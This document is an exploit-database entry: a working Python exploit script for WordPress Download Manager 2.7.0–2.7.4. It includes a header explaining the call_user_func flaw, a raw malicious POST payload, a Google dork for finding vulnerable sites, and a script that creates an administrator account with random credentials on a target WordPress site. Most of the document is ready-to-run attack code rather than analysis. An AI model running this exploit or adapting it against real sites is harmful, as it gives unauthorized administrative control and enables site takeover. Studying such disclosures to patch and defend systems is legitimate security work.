Wordpress Download Manager 2.7.4 - Remote Code Execution Vulnerability

#!/usr/bin/python

#

# Exploit Name: Wordpress Download Manager 2.7.0-2.7.4 Remote Command Execution

#

# Vulnerability discovered by SUCURI TEAM (http://blog.sucuri.net/2014/12/security-advisory-high-severity-wordpress-download-manager.html)

#

# Exploit written by Claudio Viviani

#

# 2014-12-03: Discovered vulnerability

# 2014-12-04: Patch released (2.7.5)

#

# Video Demo: https://www.youtube.com/watch?v=rIhF03ixXFk

#

# --------------------------------------------------------------------

#

# The vulnerable function is located on "/download-manager/wpdm-core.php" file:

#

# function wpdm_ajax_call_exec()

# {

# if (isset($_POST['action']) && $_POST['action'] == 'wpdm_ajax_call') {

# if (function_exists($_POST['execute']))

# call_user_func($_POST['execute'], $_POST);

# else

# echo "function not defined!";

# die();

# }

#

# Any user from any post/page can call wpdm_ajax_call_exec() function (wp hook).

# wpdm_ajax_call_exec() call functions by call_user_func() through POST data:

#

# if (function_exists($_POST['execute']))

# call_user_func($_POST['execute'], $_POST);

# else

# ...

#

# $_POST data needs to be an array

#

# The wordpress function wp_insert_user is perfect:

#

# http://codex.wordpress.org/Function_Reference/wp_insert_user

#

# Description

#

# Insert a user into the database.

#

# Usage

#

# <?php wp_insert_user( $userdata ); ?>

#

# Parameters

#

# $userdata

# (mixed) (required) An array of user data, stdClass or WP_User object.

# Default: None

#

# Evil POST Data (Add new Wordpress Administrator):

#

# action=wpdm_ajax_call&execute=wp_insert_user&user_login=NewAdminUser&user_pass=NewAdminPassword&role=administrator

#

# ---------------------------------------------------------------------

#

# Dork google: index of "wordpress-download"

#

# Tested on Wordpress Download Manager from 2.7.0 to 2.7.4 version with BackBox 3.x and python 2.6

#

# Http connection

import urllib, urllib2, socket

#

import sys

# String manipulator

import string, random

# Args management

import optparse

# Check url

def checkurl(url):

if url[:8] != "https://" and url[:7] != "http://":

print('[X] You must insert http:// or https:// procotol')

sys.exit(1)

else:

return url

# Check if file exists and has readable

def checkfile(file):

if not os.path.isfile(file) and not os.access(file, os.R_OK):

print '[X] '+file+' file is missing or not readable'

sys.exit(1)

else:

return file

def id_generator(size=6, chars=string.ascii_uppercase + string.ascii_lowercase + string.digits):

return ''.join(random.choice(chars) for _ in range(size))

banner = """

___ ___ __

| Y .-----.----.--| .-----.----.-----.-----.-----.

|. | | _ | _| _ | _ | _| -__|__ --|__ --|

|. / \ |_____|__| |_____| __|__| |_____|_____|_____|

|: | ______ |__| __ __

|::.|:. | | _ \ .-----.--.--.--.-----| .-----.---.-.--| |

`--- ---' |. | \| _ | | | | | | _ | _ | _ |

|. | |_____|________|__|__|__|_____|___._|_____|

|: 1 / ___ ___

|::.. . / | Y .---.-.-----.---.-.-----.-----.----.

`------' |. | _ | | _ | _ | -__| _|

|. \_/ |___._|__|__|___._|___ |_____|__|

|: | | |_____|

|::.|:. |

`--- ---'

Wordpress Download Manager

R3m0t3 C0d3 Ex3cut10n

(Add WP Admin)

v2.7.0-2.7.4

Written by:

Claudio Viviani

http://www.homelab.it

info@homelab.it

homelabit@protonmail.ch

https://www.facebook.com/homelabit

https://twitter.com/homelabit

https://plus.google.com/+HomelabIt1/

https://www.youtube.com/channel/UCqqmSdMqf_exicCe_DjlBww

"""

commandList = optparse.OptionParser('usage: %prog -t URL [--timeout sec]')

commandList.add_option('-t', '--target', action="store",

help="Insert TARGET URL: http[s]://www.victim.com[:PORT]",

)

commandList.add_option('--timeout', action="store", default=10, type="int",

help="[Timeout Value] - Default 10",

)

options, remainder = commandList.parse_args()

# Check args

if not options.target:

print(banner)

commandList.print_help()

sys.exit(1)

host = checkurl(options.target)

timeout = options.timeout

print(banner)

socket.setdefaulttimeout(timeout)

username = id_generator()

pwd = id_generator()

body = urllib.urlencode({'action' : 'wpdm_ajax_call',

'execute' : 'wp_insert_user',

'user_login' : username,

'user_pass' : pwd,

'role' : 'administrator'})

headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36'}

print "[+] Tryng to connect to: "+host

try:

req = urllib2.Request(host+"/", body, headers)

response = urllib2.urlopen(req)

html = response.read()

if html == "":

print("[!] Account Added")

print("[!] Location: "+host+"/wp-login.php")

print("[!] Username: "+username)

print("[!] Password: "+pwd)

else:

print("[X] Exploitation Failed :(")

except urllib2.HTTPError as e:

print("[X] "+str(e))

except urllib2.URLError as e:

print("[X] Connection Error: "+str(e))

EKU-ID: 4438	CVE:	OSVDB-ID:
Author: Claudio Viviani	Published: 2014-12-16	Verified:
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Wordpress Download Manager 2.7.4 - Remote Code Execution Vulnerability

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